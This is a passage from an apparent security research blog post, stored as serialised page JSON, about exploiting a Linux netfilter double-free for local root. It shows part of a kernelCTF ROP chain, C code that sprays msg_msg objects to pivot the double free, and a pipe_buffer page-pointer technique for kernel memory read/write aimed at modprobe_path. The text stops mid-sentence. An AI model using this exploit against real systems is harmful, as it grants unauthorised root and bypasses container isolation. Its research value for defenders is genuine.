0xffffffff81caed31",{"type":26,"tag":475,"props":56941,"children":56942},{"style":499},[56943],{"type":32,"value":48766},{"type":26,"tag":475,"props":56945,"children":56946},{"style":552},[56947],{"type":32,"value":56948}," // push rax; jmp qword ptr [rsi + 0x66];\n",{"type":26,"tag":475,"props":56950,"children":56951},{"class":477,"line":761},[56952],{"type":26,"tag":475,"props":56953,"children":56954},{"emptyLinePlaceholder":18},[56955],{"type":32,"value":545},{"type":26,"tag":475,"props":56957,"children":56958},{"class":477,"line":770},[56959],{"type":26,"tag":475,"props":56960,"children":56961},{"style":552},[56962],{"type":32,"value":56963}," // switch_task_namespaces(task, &init_nsproxy);\n",{"type":26,"tag":475,"props":56965,"children":56966},{"class":477,"line":794},[56967,56971,56975,56979,56983,56987,56991,56995,56999,57003],{"type":26,"tag":475,"props":56968,"children":56969},{"style":2375},[56970],{"type":32,"value":55861},{"type":26,"tag":475,"props":56972,"children":56973},{"style":499},[56974],{"type":32,"value":56376},{"type":26,"tag":475,"props":56976,"children":56977},{"style":714},[56978],{"type":32,"value":50961},{"type":26,"tag":475,"props":56980,"children":56981},{"style":499},[56982],{"type":32,"value":1699},{"type":26,"tag":475,"props":56984,"children":56985},{"style":714},[56986],{"type":32,"value":786},{"type":26,"tag":475,"props":56988,"children":56989},{"style":499},[56990],{"type":32,"value":55882},{"type":26,"tag":475,"props":56992,"children":56993},{"style":714},[56994],{"type":32,"value":1106},{"type":26,"tag":475,"props":56996,"children":56997},{"style":903},[56998],{"type":32,"value":56839},{"type":26,"tag":475,"props":57000,"children":57001},{"style":499},[57002],{"type":32,"value":48766},{"type":26,"tag":475,"props":57004,"children":57005},{"style":552},[57006],{"type":32,"value":56848},{"type":26,"tag":475,"props":57008,"children":57009},{"class":477,"line":831},[57010,57014,57018,57022,57026,57030,57034,57038],{"type":26,"tag":475,"props":57011,"children":57012},{"style":2375},[57013],{"type":32,"value":55861},{"type":26,"tag":475,"props":57015,"children":57016},{"style":499},[57017],{"type":32,"value":56376},{"type":26,"tag":475,"props":57019,"children":57020},{"style":714},[57021],{"type":32,"value":50961},{"type":26,"tag":475,"props":57023,"children":57024},{"style":499},[57025],{"type":32,"value":1699},{"type":26,"tag":475,"props":57027,"children":57028},{"style":714},[57029],{"type":32,"value":786},{"type":26,"tag":475,"props":57031,"children":57032},{"style":499},[57033],{"type":32,"value":55882},{"type":26,"tag":475,"props":57035,"children":57036},{"style":714},[57037],{"type":32,"value":1106},{"type":26,"tag":475,"props":57039,"children":57040},{"style":499},[57041],{"type":32,"value":57042}," INIT_NSPROXY;\n",{"type":26,"tag":475,"props":57044,"children":57045},{"class":477,"line":845},[57046,57050,57054,57058,57062,57066,57070,57074],{"type":26,"tag":475,"props":57047,"children":57048},{"style":2375},[57049],{"type":32,"value":55861},{"type":26,"tag":475,"props":57051,"children":57052},{"style":499},[57053],{"type":32,"value":56376},{"type":26,"tag":475,"props":57055,"children":57056},{"style":714},[57057],{"type":32,"value":50961},{"type":26,"tag":475,"props":57059,"children":57060},{"style":499},[57061],{"type":32,"value":1699},{"type":26,"tag":475,"props":57063,"children":57064},{"style":714},[57065],{"type":32,"value":786},{"type":26,"tag":475,"props":57067,"children":57068},{"style":499},[57069],{"type":32,"value":55882},{"type":26,"tag":475,"props":57071,"children":57072},{"style":714},[57073],{"type":32,"value":1106},{"type":26,"tag":475,"props":57075,"children":57076},{"style":499},[57077],{"type":32,"value":57078}," SWITCH_TASK_NAMESPACES;\n",{"type":26,"tag":475,"props":57080,"children":57081},{"class":477,"line":854},[57082],{"type":26,"tag":475,"props":57083,"children":57084},{"style":499},[57085],{"type":32,"value":2219},{"type":26,"tag":41,"props":57087,"children":57089},{"id":57088},"grabbing-the-kernelctf-flag",[57090],{"type":32,"value":57091},"Grabbing the kernelCTF flag",{"type":26,"tag":35,"props":57093,"children":57094},{},[57095,57099,57101,57108],{"type":26,"tag":132,"props":57096,"children":57098},{"alt":134,"src":57097},"/posts/netfilter-universal-root-1-day/flag.png",[],{"type":32,"value":57100},"\nYou can find the kernelCTF exploit in our ",{"type":26,"tag":116,"props":57102,"children":57105},{"href":57103,"rel":57104},"https://github.com/otter-sec/OtterRoot/blob/master/kernelctf/exploit.c",[120],[57106],{"type":32,"value":57107},"GitHub",{"type":32,"value":353},{"type":26,"tag":27,"props":57110,"children":57112},{"id":57111},"universal-exploit",[57113],{"type":32,"value":57114},"Universal exploit",{"type":26,"tag":35,"props":57116,"children":57117},{},[57118],{"type":32,"value":57119},"After exploiting KernelCTF, I decided to use this vulnerability to craft a universal exploit (one that works stably regardless of the target without needing to be modified). I took a different approach to avoid some compatibility and reliability pitfalls, the biggest ones being ROP and anything else that relies on kernel data offsets because those change from build to build. It's not uncommon to compile a list of gadgets for the different builds but it makes more sense just to avoid the trouble entirely.",{"type":26,"tag":41,"props":57121,"children":57123},{"id":57122},"pivot-capability-using-msg_msg-mlistnext-pointer",[57124],{"type":32,"value":57125},"Pivot capability using msg_msg->mlist.next pointer",{"type":26,"tag":35,"props":57127,"children":57128},{},[57129,57131,57137,57139,57144,57146,57152],{"type":32,"value":57130},"Using the double-free vulnerability we can overlap a ",{"type":26,"tag":53,"props":57132,"children":57134},{"className":57133},[],[57135],{"type":32,"value":57136},"msg_msg",{"type":32,"value":57138}," object with with ",{"type":26,"tag":53,"props":57140,"children":57142},{"className":57141},[],[57143],{"type":32,"value":54790},{"type":32,"value":57145}," and control the ",{"type":26,"tag":53,"props":57147,"children":57149},{"className":57148},[],[57150],{"type":32,"value":57151},"m_list.next",{"type":32,"value":57153}," pointer.",{"type":26,"tag":465,"props":57155,"children":57157},{"className":28812,"code":57156,"language":28814,"meta":7,"style":7},"/* one msg_msg structure for each message */\nstruct msg_msg {\n struct list_head m_list;\n long m_type;\n size_t m_ts; /* message text size */\n struct msg_msgseg *next;\n void *security;\n /* the actual message follows immediately */\n};\n[...]\nstruct list_head {\n struct list_head *next, *prev;\n};\n",[57158],{"type":26,"tag":53,"props":57159,"children":57160},{"__ignoreMap":7},[57161,57169,57185,57206,57219,57237,57262,57278,57286,57293,57300,57308,57340],{"type":26,"tag":475,"props":57162,"children":57163},{"class":477,"line":478},[57164],{"type":26,"tag":475,"props":57165,"children":57166},{"style":552},[57167],{"type":32,"value":57168},"/* one msg_msg structure for each message */\n",{"type":26,"tag":475,"props":57170,"children":57171},{"class":477,"line":516},[57172,57176,57181],{"type":26,"tag":475,"props":57173,"children":57174},{"style":482},[57175],{"type":32,"value":9111},{"type":26,"tag":475,"props":57177,"children":57178},{"style":505},[57179],{"type":32,"value":57180}," msg_msg",{"type":26,"tag":475,"props":57182,"children":57183},{"style":499},[57184],{"type":32,"value":579},{"type":26,"tag":475,"props":57186,"children":57187},{"class":477,"line":539},[57188,57192,57197,57202],{"type":26,"tag":475,"props":57189,"children":57190},{"style":482},[57191],{"type":32,"value":20859},{"type":26,"tag":475,"props":57193,"children":57194},{"style":505},[57195],{"type":32,"value":57196}," list_head",{"type":26,"tag":475,"props":57198,"children":57199},{"style":2375},[57200],{"type":32,"value":57201}," m_list",{"type":26,"tag":475,"props":57203,"children":57204},{"style":499},[57205],{"type":32,"value":2729},{"type":26,"tag":475,"props":57207,"children":57208},{"class":477,"line":548},[57209,57214],{"type":26,"tag":475,"props":57210,"children":57211},{"style":482},[57212],{"type":32,"value":57213}," long",{"type":26,"tag":475,"props":57215,"children":57216},{"style":499},[57217],{"type":32,"value":57218}," m_type;\n",{"type":26,"tag":475,"props":57220,"children":57221},{"class":477,"line":558},[57222,57227,57232],{"type":26,"tag":475,"props":57223,"children":57224},{"style":482},[57225],{"type":32,"value":57226}," size_t",{"type":26,"tag":475,"props":57228,"children":57229},{"style":499},[57230],{"type":32,"value":57231}," m_ts;",{"type":26,"tag":475,"props":57233,"children":57234},{"style":552},[57235],{"type":32,"value":57236}," /* message text size */\n",{"type":26,"tag":475,"props":57238,"children":57239},{"class":477,"line":582},[57240,57244,57249,57253,57258],{"type":26,"tag":475,"props":57241,"children":57242},{"style":482},[57243],{"type":32,"value":20859},{"type":26,"tag":475,"props":57245,"children":57246},{"style":505},[57247],{"type":32,"value":57248}," msg_msgseg",{"type":26,"tag":475,"props":57250,"children":57251},{"style":482},[57252],{"type":32,"value":9525},{"type":26,"tag":475,"props":57254,"children":57255},{"style":2375},[57256],{"type":32,"value":57257},"next",{"type":26,"tag":475,"props":57259,"children":57260},{"style":499},[57261],{"type":32,"value":2729},{"type":26,"tag":475,"props":57263,"children":57264},{"class":477,"line":596},[57265,57269,57273],{"type":26,"tag":475,"props":57266,"children":57267},{"style":482},[57268],{"type":32,"value":50741},{"type":26,"tag":475,"props":57270,"children":57271},{"style":714},[57272],{"type":32,"value":9525},{"type":26,"tag":475,"props":57274,"children":57275},{"style":499},[57276],{"type":32,"value":57277},"security;\n",{"type":26,"tag":475,"props":57279,"children":57280},{"class":477,"line":610},[57281],{"type":26,"tag":475,"props":57282,"children":57283},{"style":552},[57284],{"type":32,"value":57285}," /* the actual message follows immediately */\n",{"type":26,"tag":475,"props":57287,"children":57288},{"class":477,"line":650},[57289],{"type":26,"tag":475,"props":57290,"children":57291},{"style":499},[57292],{"type":32,"value":16283},{"type":26,"tag":475,"props":57294,"children":57295},{"class":477,"line":679},[57296],{"type":26,"tag":475,"props":57297,"children":57298},{"style":499},[57299],{"type":32,"value":2219},{"type":26,"tag":475,"props":57301,"children":57302},{"class":477,"line":735},[57303],{"type":26,"tag":475,"props":57304,"children":57305},{"style":499},[57306],{"type":32,"value":57307},"struct list_head {\n",{"type":26,"tag":475,"props":57309,"children":57310},{"class":477,"line":744},[57311,57315,57319,57323,57327,57331,57335],{"type":26,"tag":475,"props":57312,"children":57313},{"style":482},[57314],{"type":32,"value":20859},{"type":26,"tag":475,"props":57316,"children":57317},{"style":505},[57318],{"type":32,"value":57196},{"type":26,"tag":475,"props":57320,"children":57321},{"style":482},[57322],{"type":32,"value":9525},{"type":26,"tag":475,"props":57324,"children":57325},{"style":2375},[57326],{"type":32,"value":57257},{"type":26,"tag":475,"props":57328,"children":57329},{"style":499},[57330],{"type":32,"value":637},{"type":26,"tag":475,"props":57332,"children":57333},{"style":714},[57334],{"type":32,"value":4282},{"type":26,"tag":475,"props":57336,"children":57337},{"style":499},[57338],{"type":32,"value":57339},"prev;\n",{"type":26,"tag":475,"props":57341,"children":57342},{"class":477,"line":753},[57343],{"type":26,"tag":475,"props":57344,"children":57345},{"style":499},[57346],{"type":32,"value":16283},{"type":26,"tag":35,"props":57348,"children":57349},{},[57350,57352,57358,57360,57365],{"type":32,"value":57351},"This is particularly interesting if we send messages of different sizes on the same queue, making the ",{"type":26,"tag":53,"props":57353,"children":57355},{"className":57354},[],[57356],{"type":32,"value":57357},"mlist.next",{"type":32,"value":57359}," pointer of a message that lives in one cache point into a different cache. So, by spraying ",{"type":26,"tag":53,"props":57361,"children":57363},{"className":57362},[],[57364],{"type":32,"value":57136},{"type":32,"value":57366}," in kmalloc-cg-256 with a secondary message in each queue living in kmalloc-cg-1k.",{"type":26,"tag":35,"props":57368,"children":57369},{},[57370,57372,57377,57379],{"type":32,"value":57371},"By incrementing the next pointer of our controllable ",{"type":26,"tag":53,"props":57373,"children":57375},{"className":57374},[],[57376],{"type":32,"value":57136},{"type":32,"value":57378}," by 256, we are able to make it point to the different secondary message that is already referenced by a different primary message, creating a duplicated reference. We allow an easy way of pivoting our double-free capabilities to other caches and attacking a greater variety of objects.\n",{"type":26,"tag":132,"props":57380,"children":57382},{"alt":134,"src":57381},"/posts/netfilter-universal-root-1-day/msg-msg.png",[],{"type":26,"tag":465,"props":57384,"children":57386},{"className":28812,"code":57385,"language":28814,"meta":7,"style":7},"[...]\n // Spray msg_msg in kmalloc-256 and kmalloc-1k\n msg_t *msg = calloc(1, sizeof(msg_t) + 0xe8 - 48);\n int qid[SPRAY];\n for (int i = 0; i \u003C SPRAY; i++)\n {\n qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n if (qid[i] \u003C 0)\n {\n perror(\"[-] msgget\");\n }\n *(uint32_t *)msg->mtext = i;\n *(uint64_t *)&msg->mtext[8] = 0xdeadbeefcafebabe;\n msg->mtype = MTYPE_PRIMARY;\n msgsnd(qid[i], msg, 0xe8 - 48, 0);\n msg->mtype = MTYPE_SECONDARY;\n msgsnd(qid[i], msg, 1024 - 48, 0);\n }\n // Prepare evil msg\n int evilqid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n if (evilqid \u003C 0)\n {\n perror(\"[-] msgget\");\n }\n[...] // trigger double-free in kmalloc-256\n",[57387],{"type":26,"tag":53,"props":57388,"children":57389},{"__ignoreMap":7},[57390,57397,57405,57431,57448,57496,57503,57543,57575,57582,57603,57610,57657,57721,57747,57793,57817,57861,57868,57876,57912,57936,57943,57963,57970],{"type":26,"tag":475,"props":57391,"children":57392},{"class":477,"line":478},[57393],{"type":26,"tag":475,"props":57394,"children":57395},{"style":499},[57396],{"type":32,"value":2219},{"type":26,"tag":475,"props":57398,"children":57399},{"class":477,"line":516},[57400],{"type":26,"tag":475,"props":57401,"children":57402},{"style":499},[57403],{"type":32,"value":57404}," // Spray msg_msg in kmalloc-256 and kmalloc-1k\n",{"type":26,"tag":475,"props":57406,"children":57407},{"class":477,"line":539},[57408,57413,57417,57421,57426],{"type":26,"tag":475,"props":57409,"children":57410},{"style":499},[57411],{"type":32,"value":57412}," msg_t *msg = calloc(1, ",{"type":26,"tag":475,"props":57414,"children":57415},{"style":505},[57416],{"type":32,"value":55019},{"type":26,"tag":475,"props":57418,"children":57419},{"style":499},[57420],{"type":32,"value":626},{"type":26,"tag":475,"props":57422,"children":57423},{"style":505},[57424],{"type":32,"value":57425},"msg_t",{"type":26,"tag":475,"props":57427,"children":57428},{"style":499},[57429],{"type":32,"value":57430},") + 0xe8 - 48);\n",{"type":26,"tag":475,"props":57432,"children":57433},{"class":477,"line":548},[57434,57438,57443],{"type":26,"tag":475,"props":57435,"children":57436},{"style":482},[57437],{"type":32,"value":18785},{"type":26,"tag":475,"props":57439,"children":57440},{"style":2375},[57441],{"type":32,"value":57442}," qid",{"type":26,"tag":475,"props":57444,"children":57445},{"style":499},[57446],{"type":32,"value":57447},"[SPRAY];\n",{"type":26,"tag":475,"props":57449,"children":57450},{"class":477,"line":558},[57451,57455,57459,57463,57467,57471,57475,57479,57483,57488,57492],{"type":26,"tag":475,"props":57452,"children":57453},{"style":586},[57454],{"type":32,"value":2737},{"type":26,"tag":475,"props":57456,"children":57457},{"style":499},[57458],{"type":32,"value":2775},{"type":26,"tag":475,"props":57460,"children":57461},{"style":482},[57462],{"type":32,"value":18755},{"type":26,"tag":475,"props":57464,"children":57465},{"style":499},[57466],{"type":32,"value":54235},{"type":26,"tag":475,"props":57468,"children":57469},{"style":714},[57470],{"type":32,"value":786},{"type":26,"tag":475,"props":57472,"children":57473},{"style":903},[57474],{"type":32,"value":2752},{"type":26,"tag":475,"props":57476,"children":57477},{"style":499},[57478],{"type":32,"value":50925},{"type":26,"tag":475,"props":57480,"children":57481},{"style":714},[57482],{"type":32,"value":5519},{"type":26,"tag":475,"props":57484,"children":57485},{"style":499},[57486],{"type":32,"value":57487}," SPRAY; i",{"type":26,"tag":475,"props":57489,"children":57490},{"style":714},[57491],{"type":32,"value":50961},{"type":26,"tag":475,"props":57493,"children":57494},{"style":499},[57495],{"type":32,"value":647},{"type":26,"tag":475,"props":57497,"children":57498},{"class":477,"line":582},[57499],{"type":26,"tag":475,"props":57500,"children":57501},{"style":499},[57502],{"type":32,"value":28889},{"type":26,"tag":475,"props":57504,"children":57505},{"class":477,"line":596},[57506,57511,57515,57519,57524,57529,57534,57538],{"type":26,"tag":475,"props":57507,"children":57508},{"style":2375},[57509],{"type":32,"value":57510}," qid",{"type":26,"tag":475,"props":57512,"children":57513},{"style":499},[57514],{"type":32,"value":54287},{"type":26,"tag":475,"props":57516,"children":57517},{"style":714},[57518],{"type":32,"value":786},{"type":26,"tag":475,"props":57520,"children":57521},{"style":493},[57522],{"type":32,"value":57523}," msgget",{"type":26,"tag":475,"props":57525,"children":57526},{"style":499},[57527],{"type":32,"value":57528},"(IPC_PRIVATE, ",{"type":26,"tag":475,"props":57530,"children":57531},{"style":903},[57532],{"type":32,"value":57533},"0666",{"type":26,"tag":475,"props":57535,"children":57536},{"style":714},[57537],{"type":32,"value":3981},{"type":26,"tag":475,"props":57539,"children":57540},{"style":499},[57541],{"type":32,"value":57542}," IPC_CREAT);\n",{"type":26,"tag":475,"props":57544,"children":57545},{"class":477,"line":610},[57546,57550,57554,57559,57563,57567,57571],{"type":26,"tag":475,"props":57547,"children":57548},{"style":586},[57549],{"type":32,"value":2980},{"type":26,"tag":475,"props":57551,"children":57552},{"style":499},[57553],{"type":32,"value":2775},{"type":26,"tag":475,"props":57555,"children":57556},{"style":2375},[57557],{"type":32,"value":57558},"qid",{"type":26,"tag":475,"props":57560,"children":57561},{"style":499},[57562],{"type":32,"value":54287},{"type":26,"tag":475,"props":57564,"children":57565},{"style":714},[57566],{"type":32,"value":5519},{"type":26,"tag":475,"props":57568,"children":57569},{"style":903},[57570],{"type":32,"value":2752},{"type":26,"tag":475,"props":57572,"children":57573},{"style":499},[57574],{"type":32,"value":647},{"type":26,"tag":475,"props":57576,"children":57577},{"class":477,"line":650},[57578],{"type":26,"tag":475,"props":57579,"children":57580},{"style":499},[57581],{"type":32,"value":31359},{"type":26,"tag":475,"props":57583,"children":57584},{"class":477,"line":679},[57585,57590,57594,57599],{"type":26,"tag":475,"props":57586,"children":57587},{"style":493},[57588],{"type":32,"value":57589}," perror",{"type":26,"tag":475,"props":57591,"children":57592},{"style":499},[57593],{"type":32,"value":626},{"type":26,"tag":475,"props":57595,"children":57596},{"style":629},[57597],{"type":32,"value":57598},"\"[-] msgget\"",{"type":26,"tag":475,"props":57600,"children":57601},{"style":499},[57602],{"type":32,"value":3533},{"type":26,"tag":475,"props":57604,"children":57605},{"class":477,"line":735},[57606],{"type":26,"tag":475,"props":57607,"children":57608},{"style":499},[57609],{"type":32,"value":750},{"type":26,"tag":475,"props":57611,"children":57612},{"class":477,"line":744},[57613,57617,57621,57626,57630,57634,57639,57643,57648,57652],{"type":26,"tag":475,"props":57614,"children":57615},{"style":714},[57616],{"type":32,"value":7463},{"type":26,"tag":475,"props":57618,"children":57619},{"style":499},[57620],{"type":32,"value":626},{"type":26,"tag":475,"props":57622,"children":57623},{"style":482},[57624],{"type":32,"value":57625},"uint32_t",{"type":26,"tag":475,"props":57627,"children":57628},{"style":714},[57629],{"type":32,"value":9525},{"type":26,"tag":475,"props":57631,"children":57632},{"style":499},[57633],{"type":32,"value":2835},{"type":26,"tag":475,"props":57635,"children":57636},{"style":2375},[57637],{"type":32,"value":57638},"msg",{"type":26,"tag":475,"props":57640,"children":57641},{"style":499},[57642],{"type":32,"value":13464},{"type":26,"tag":475,"props":57644,"children":57645},{"style":2375},[57646],{"type":32,"value":57647},"mtext",{"type":26,"tag":475,"props":57649,"children":57650},{"style":714},[57651],{"type":32,"value":2383},{"type":26,"tag":475,"props":57653,"children":57654},{"style":499},[57655],{"type":32,"value":57656}," i;\n",{"type":26,"tag":475,"props":57658,"children":57659},{"class":477,"line":753},[57660,57664,57668,57672,57676,57680,57684,57688,57692,57696,57700,57704,57708,57712,57717],{"type":26,"tag":475,"props":57661,"children":57662},{"style":714},[57663],{"type":32,"value":7463},{"type":26,"tag":475,"props":57665,"children":57666},{"style":499},[57667],{"type":32,"value":626},{"type":26,"tag":475,"props":57669,"children":57670},{"style":482},[57671],{"type":32,"value":55326},{"type":26,"tag":475,"props":57673,"children":57674},{"style":714},[57675],{"type":32,"value":9525},{"type":26,"tag":475,"props":57677,"children":57678},{"style":499},[57679],{"type":32,"value":2835},{"type":26,"tag":475,"props":57681,"children":57682},{"style":714},[57683],{"type":32,"value":2816},{"type":26,"tag":475,"props":57685,"children":57686},{"style":2375},[57687],{"type":32,"value":57638},{"type":26,"tag":475,"props":57689,"children":57690},{"style":499},[57691],{"type":32,"value":13464},{"type":26,"tag":475,"props":57693,"children":57694},{"style":2375},[57695],{"type":32,"value":57647},{"type":26,"tag":475,"props":57697,"children":57698},{"style":499},[57699],{"type":32,"value":3440},{"type":26,"tag":475,"props":57701,"children":57702},{"style":903},[57703],{"type":32,"value":3786},{"type":26,"tag":475,"props":57705,"children":57706},{"style":499},[57707],{"type":32,"value":1699},{"type":26,"tag":475,"props":57709,"children":57710},{"style":714},[57711],{"type":32,"value":786},{"type":26,"tag":475,"props":57713,"children":57714},{"style":903},[57715],{"type":32,"value":57716}," 0xdeadbeefcafebabe",{"type":26,"tag":475,"props":57718,"children":57719},{"style":499},[57720],{"type":32,"value":2729},{"type":26,"tag":475,"props":57722,"children":57723},{"class":477,"line":761},[57724,57729,57733,57738,57742],{"type":26,"tag":475,"props":57725,"children":57726},{"style":2375},[57727],{"type":32,"value":57728}," msg",{"type":26,"tag":475,"props":57730,"children":57731},{"style":499},[57732],{"type":32,"value":13464},{"type":26,"tag":475,"props":57734,"children":57735},{"style":2375},[57736],{"type":32,"value":57737},"mtype",{"type":26,"tag":475,"props":57739,"children":57740},{"style":714},[57741],{"type":32,"value":2383},{"type":26,"tag":475,"props":57743,"children":57744},{"style":499},[57745],{"type":32,"value":57746}," MTYPE_PRIMARY;\n",{"type":26,"tag":475,"props":57748,"children":57749},{"class":477,"line":770},[57750,57755,57759,57763,57768,57772,57776,57781,57785,57789],{"type":26,"tag":475,"props":57751,"children":57752},{"style":493},[57753],{"type":32,"value":57754}," msgsnd",{"type":26,"tag":475,"props":57756,"children":57757},{"style":499},[57758],{"type":32,"value":626},{"type":26,"tag":475,"props":57760,"children":57761},{"style":2375},[57762],{"type":32,"value":57558},{"type":26,"tag":475,"props":57764,"children":57765},{"style":499},[57766],{"type":32,"value":57767},"[i], msg, ",{"type":26,"tag":475,"props":57769,"children":57770},{"style":903},[57771],{"type":32,"value":55663},{"type":26,"tag":475,"props":57773,"children":57774},{"style":714},[57775],{"type":32,"value":50947},{"type":26,"tag":475,"props":57777,"children":57778},{"style":903},[57779],{"type":32,"value":57780}," 48",{"type":26,"tag":475,"props":57782,"children":57783},{"style":499},[57784],{"type":32,"value":637},{"type":26,"tag":475,"props":57786,"children":57787},{"style":903},[57788],{"type":32,"value":3732},{"type":26,"tag":475,"props":57790,"children":57791},{"style":499},[57792],{"type":32,"value":3533},{"type":26,"tag":475,"props":57794,"children":57795},{"class":477,"line":794},[57796,57800,57804,57808,57812],{"type":26,"tag":475,"props":57797,"children":57798},{"style":2375},[57799],{"type":32,"value":57728},{"type":26,"tag":475,"props":57801,"children":57802},{"style":499},[57803],{"type":32,"value":13464},{"type":26,"tag":475,"props":57805,"children":57806},{"style":2375},[57807],{"type":32,"value":57737},{"type":26,"tag":475,"props":57809,"children":57810},{"style":714},[57811],{"type":32,"value":2383},{"type":26,"tag":475,"props":57813,"children":57814},{"style":499},[57815],{"type":32,"value":57816}," MTYPE_SECONDARY;\n",{"type":26,"tag":475,"props":57818,"children":57819},{"class":477,"line":831},[57820,57824,57828,57832,57836,57841,57845,57849,57853,57857],{"type":26,"tag":475,"props":57821,"children":57822},{"style":493},[57823],{"type":32,"value":57754},{"type":26,"tag":475,"props":57825,"children":57826},{"style":499},[57827],{"type":32,"value":626},{"type":26,"tag":475,"props":57829,"children":57830},{"style":2375},[57831],{"type":32,"value":57558},{"type":26,"tag":475,"props":57833,"children":57834},{"style":499},[57835],{"type":32,"value":57767},{"type":26,"tag":475,"props":57837,"children":57838},{"style":903},[57839],{"type":32,"value":57840},"1024",{"type":26,"tag":475,"props":57842,"children":57843},{"style":714},[57844],{"type":32,"value":50947},{"type":26,"tag":475,"props":57846,"children":57847},{"style":903},[57848],{"type":32,"value":57780},{"type":26,"tag":475,"props":57850,"children":57851},{"style":499},[57852],{"type":32,"value":637},{"type":26,"tag":475,"props":57854,"children":57855},{"style":903},[57856],{"type":32,"value":3732},{"type":26,"tag":475,"props":57858,"children":57859},{"style":499},[57860],{"type":32,"value":3533},{"type":26,"tag":475,"props":57862,"children":57863},{"class":477,"line":845},[57864],{"type":26,"tag":475,"props":57865,"children":57866},{"style":499},[57867],{"type":32,"value":851},{"type":26,"tag":475,"props":57869,"children":57870},{"class":477,"line":854},[57871],{"type":26,"tag":475,"props":57872,"children":57873},{"style":552},[57874],{"type":32,"value":57875}," // Prepare evil msg\n",{"type":26,"tag":475,"props":57877,"children":57878},{"class":477,"line":862},[57879,57883,57888,57892,57896,57900,57904,57908],{"type":26,"tag":475,"props":57880,"children":57881},{"style":482},[57882],{"type":32,"value":18785},{"type":26,"tag":475,"props":57884,"children":57885},{"style":499},[57886],{"type":32,"value":57887}," evilqid ",{"type":26,"tag":475,"props":57889,"children":57890},{"style":714},[57891],{"type":32,"value":786},{"type":26,"tag":475,"props":57893,"children":57894},{"style":493},[57895],{"type":32,"value":57523},{"type":26,"tag":475,"props":57897,"children":57898},{"style":499},[57899],{"type":32,"value":57528},{"type":26,"tag":475,"props":57901,"children":57902},{"style":903},[57903],{"type":32,"value":57533},{"type":26,"tag":475,"props":57905,"children":57906},{"style":714},[57907],{"type":32,"value":3981},{"type":26,"tag":475,"props":57909,"children":57910},{"style":499},[57911],{"type":32,"value":57542},{"type":26,"tag":475,"props":57913,"children":57914},{"class":477,"line":885},[57915,57919,57924,57928,57932],{"type":26,"tag":475,"props":57916,"children":57917},{"style":586},[57918],{"type":32,"value":11988},{"type":26,"tag":475,"props":57920,"children":57921},{"style":499},[57922],{"type":32,"value":57923}," (evilqid ",{"type":26,"tag":475,"props":57925,"children":57926},{"style":714},[57927],{"type":32,"value":5519},{"type":26,"tag":475,"props":57929,"children":57930},{"style":903},[57931],{"type":32,"value":2752},{"type":26,"tag":475,"props":57933,"children":57934},{"style":499},[57935],{"type":32,"value":647},{"type":26,"tag":475,"props":57937,"children":57938},{"class":477,"line":913},[57939],{"type":26,"tag":475,"props":57940,"children":57941},{"style":499},[57942],{"type":32,"value":28889},{"type":26,"tag":475,"props":57944,"children":57945},{"class":477,"line":926},[57946,57951,57955,57959],{"type":26,"tag":475,"props":57947,"children":57948},{"style":493},[57949],{"type":32,"value":57950}," perror",{"type":26,"tag":475,"props":57952,"children":57953},{"style":499},[57954],{"type":32,"value":626},{"type":26,"tag":475,"props":57956,"children":57957},{"style":629},[57958],{"type":32,"value":57598},{"type":26,"tag":475,"props":57960,"children":57961},{"style":499},[57962],{"type":32,"value":3533},{"type":26,"tag":475,"props":57964,"children":57965},{"class":477,"line":948},[57966],{"type":26,"tag":475,"props":57967,"children":57968},{"style":499},[57969],{"type":32,"value":851},{"type":26,"tag":475,"props":57971,"children":57972},{"class":477,"line":966},[57973],{"type":26,"tag":475,"props":57974,"children":57975},{"style":499},[57976],{"type":32,"value":57977},"[...] // trigger double-free in kmalloc-256\n",{"type":26,"tag":41,"props":57979,"children":57981},{"id":57980},"using-pipe_buffer-page-pointer-for-physical-readwrite",[57982],{"type":32,"value":57983},"Using pipe_buffer->page pointer for physical read/write",{"type":26,"tag":35,"props":57985,"children":57986},{},[57987,57989,57995,57996,58002,58003,58009,58011,58017],{"type":32,"value":57988},"Now that we have increased the reach of our double-free, it's probably a good idea to go to ",{"type":26,"tag":53,"props":57990,"children":57992},{"className":57991},[],[57993],{"type":32,"value":57994},"kmalloc-1k",{"type":32,"value":209},{"type":26,"tag":53,"props":57997,"children":57999},{"className":57998},[],[58000],{"type":32,"value":58001},"overlap pipe_buffer",{"type":32,"value":21212},{"type":26,"tag":53,"props":58004,"children":58006},{"className":58005},[],[58007],{"type":32,"value":58008},"skbuf",{"type":32,"value":58010}," data to control the ",{"type":26,"tag":53,"props":58012,"children":58014},{"className":58013},[],[58015],{"type":32,"value":58016},"page",{"type":32,"value":58018}," field.",{"type":26,"tag":35,"props":58020,"children":58021},{},[58022,58023,58028,58030,58036,58038],{"type":32,"value":16319},{"type":26,"tag":53,"props":58024,"children":58026},{"className":58025},[],[58027],{"type":32,"value":58016},{"type":32,"value":58029}," field is a pointer into ",{"type":26,"tag":53,"props":58031,"children":58033},{"className":58032},[],[58034],{"type":32,"value":58035},"vmemmap_base",{"type":32,"value":58037},", which contains all page structs used to track memory mapped to the kernel. This pointer is used to fetch the address of the data associated with a given pipe when reading/writing.\n",{"type":26,"tag":132,"props":58039,"children":58041},{"alt":134,"src":58040},"/posts/netfilter-universal-root-1-day/pipe-buffer.png",[],{"type":26,"tag":35,"props":58043,"children":58044},{},[58045,58047,58052],{"type":32,"value":58046},"This now allows us to navigate the ",{"type":26,"tag":53,"props":58048,"children":58050},{"className":58049},[],[58051],{"type":32,"value":58035},{"type":32,"value":58053}," array and use our pipe as an interface to read/write kernel memory directly.",{"type":26,"tag":41,"props":58055,"children":58057},{"id":58056},"bruteforce-physical-kernel-base",[58058],{"type":32,"value":58059},"Bruteforce physical kernel base",{"type":26,"tag":35,"props":58061,"children":58062},{},[58063,58065,58071,58073,58078,58080,58086],{"type":32,"value":58064},"With the capability to iterate over kernel memory pages and read/write them, we could easily look for any value we want to overwrite, such as ",{"type":26,"tag":53,"props":58066,"children":58068},{"className":58067},[],[58069],{"type":32,"value":58070},"modprobe_path",{"type":32,"value":58072},". Keep in mind that simply searching page by page from the start of ",{"type":26,"tag":53,"props":58074,"children":58076},{"className":58075},[],[58077],{"type":32,"value":58035},{"type":32,"value":58079}," can be very time-consuming because the physical address at which the kernel base is loaded is randomized. However, the start of the kernel base is always aligned by a constant ",{"type":26,"tag":53,"props":58081,"children":58083},{"className":58082},[],[58084],{"type":32,"value":58085},"PHYSICAL_ALIGN",{"type":32,"value":58087}," value, 0x200000 by default in amd64, so we can significantly speed up our search by first only looking at aligned addresses for something that looks like the 